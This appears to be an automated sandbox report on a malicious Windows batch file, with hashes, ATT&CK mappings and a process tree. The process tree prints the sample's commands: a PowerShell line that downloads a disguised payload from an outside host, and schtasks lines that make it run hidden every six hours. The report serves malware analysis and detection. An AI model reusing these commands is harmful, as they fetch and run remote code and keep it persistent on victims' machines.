9994b9e197b422529221de7238dc0e44ae21e66d78c48355f31837c3696ec90e

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
30-12-2024 05:29

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General

Target

10b20d5ab63333029b484bf4fc528e6cd4dc755c99c31c24054d63f9e3447c1c.bat
Size

935B
MD5

1c94a162524f1ab324eb20ab36123aa9
SHA1

2d0bd3e465120d8161a30782724f6381130c3e6a
SHA256

10b20d5ab63333029b484bf4fc528e6cd4dc755c99c31c24054d63f9e3447c1c
SHA512

f4252f79627dcf11c7b378a51503651476a10b22638b2797f6d6d33ef268acb54a1a37b0d2ba18535c9354470490261fef88d6a9aae6fde57c8388e035c12d3a

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1152	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2396	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1152	powershell.exe
2884	powershell.exe
3004	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1152	powershell.exe
Token: SeDebugPrivilege	2884	powershell.exe
Token: SeDebugPrivilege	3004	powershell.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 1312 wrote to memory of 2396	1312	cmd.exe	31
PID 1312 wrote to memory of 2396	1312	cmd.exe	31
PID 1312 wrote to memory of 2396	1312	cmd.exe	31
PID 1312 wrote to memory of 1152	1312	cmd.exe	32
PID 1312 wrote to memory of 1152	1312	cmd.exe	32
PID 1312 wrote to memory of 1152	1312	cmd.exe	32
PID 1312 wrote to memory of 2756	1312	cmd.exe	33
PID 1312 wrote to memory of 2756	1312	cmd.exe	33
PID 1312 wrote to memory of 2756	1312	cmd.exe	33
PID 1312 wrote to memory of 2880	1312	cmd.exe	35
PID 1312 wrote to memory of 2880	1312	cmd.exe	35
PID 1312 wrote to memory of 2880	1312	cmd.exe	35
PID 2880 wrote to memory of 2884	2880	cmd.exe	36
PID 2880 wrote to memory of 2884	2880	cmd.exe	36
PID 2880 wrote to memory of 2884	2880	cmd.exe	36
PID 2876 wrote to memory of 2920	2876	taskeng.exe	38
PID 2876 wrote to memory of 2920	2876	taskeng.exe	38
PID 2876 wrote to memory of 2920	2876	taskeng.exe	38
PID 2920 wrote to memory of 3004	2920	cmd.EXE	40
PID 2920 wrote to memory of 3004	2920	cmd.EXE	40
PID 2920 wrote to memory of 3004	2920	cmd.EXE	40

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\10b20d5ab63333029b484bf4fc528e6cd4dc755c99c31c24054d63f9e3447c1c.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1312
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "Octanagem" /tr "cmd /c start /min PowerShell -ex Bypass C:\Users\Public\American.ps1" /SC HOURLY /mo 6 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri 'https://hoteltoscanaplaza.com.co/cgi-bin/Atendimento.pdf' -OutFile 'C:\Users\Public\American.ps1'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1152
- C:\Windows\system32\schtasks.exe
  schtasks /run /tn "Octanagem"
  2⤵
  PID:2756
- C:\Windows\system32\cmd.exe
  cmd /c start /min PowerShell -ex Bypass C:\Users\Public\American.ps1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell -ex Bypass C:\Users\Public\American.ps1
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2884

C:\Windows\system32\taskeng.exe
taskeng.exe {D5A68949-51DD-430E-9224-F3D1D3D57C02} S-1-5-21-2872745919-2748461613-2989606286-1000:CCJBVTGQ\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2876
- C:\Windows\system32\cmd.EXE
  C:\Windows\system32\cmd.EXE /c start /min PowerShell -ex Bypass C:\Users\Public\American.ps1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell -ex Bypass C:\Users\Public\American.ps1
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\U4LL8N7PNSRUJJQ6JURZ.temp

Filesize
7KB

MD5
ab59ed012442d6719a401cdfcb9cc77d

SHA1
0a882f9376682ad6cddc218c89772a7022ba91b4

SHA256
1d08e8b56561c53ed856c56dacda95d8a0ef064e39514ba851942f5e4effc645

SHA512
b579dc0cc0973981280c65d1095ec35b6528199c6fbe2ad494eaa8e0568163c7fe59cca7dd04c598970c75aa3bc1e6a4d7c2302a6270cd3217e9148f63c8ae41

Download Submit
memory/1152-4-0x000007FEF60AE000-0x000007FEF60AF000-memory.dmp

Filesize
4KB

Download
memory/1152-7-0x0000000001E80000-0x0000000001E88000-memory.dmp

Filesize
32KB

Download
memory/1152-8-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/1152-6-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/1152-5-0x000000001B7A0000-0x000000001BA82000-memory.dmp

Filesize
2.9MB

Download
memory/1152-10-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/1152-12-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/1152-11-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/1152-9-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

Filesize
9.6MB

Download
memory/2884-19-0x0000000002000000-0x0000000002008000-memory.dmp

Filesize
32KB

Download
memory/2884-18-0x000000001B520000-0x000000001B802000-memory.dmp

Filesize
2.9MB

Download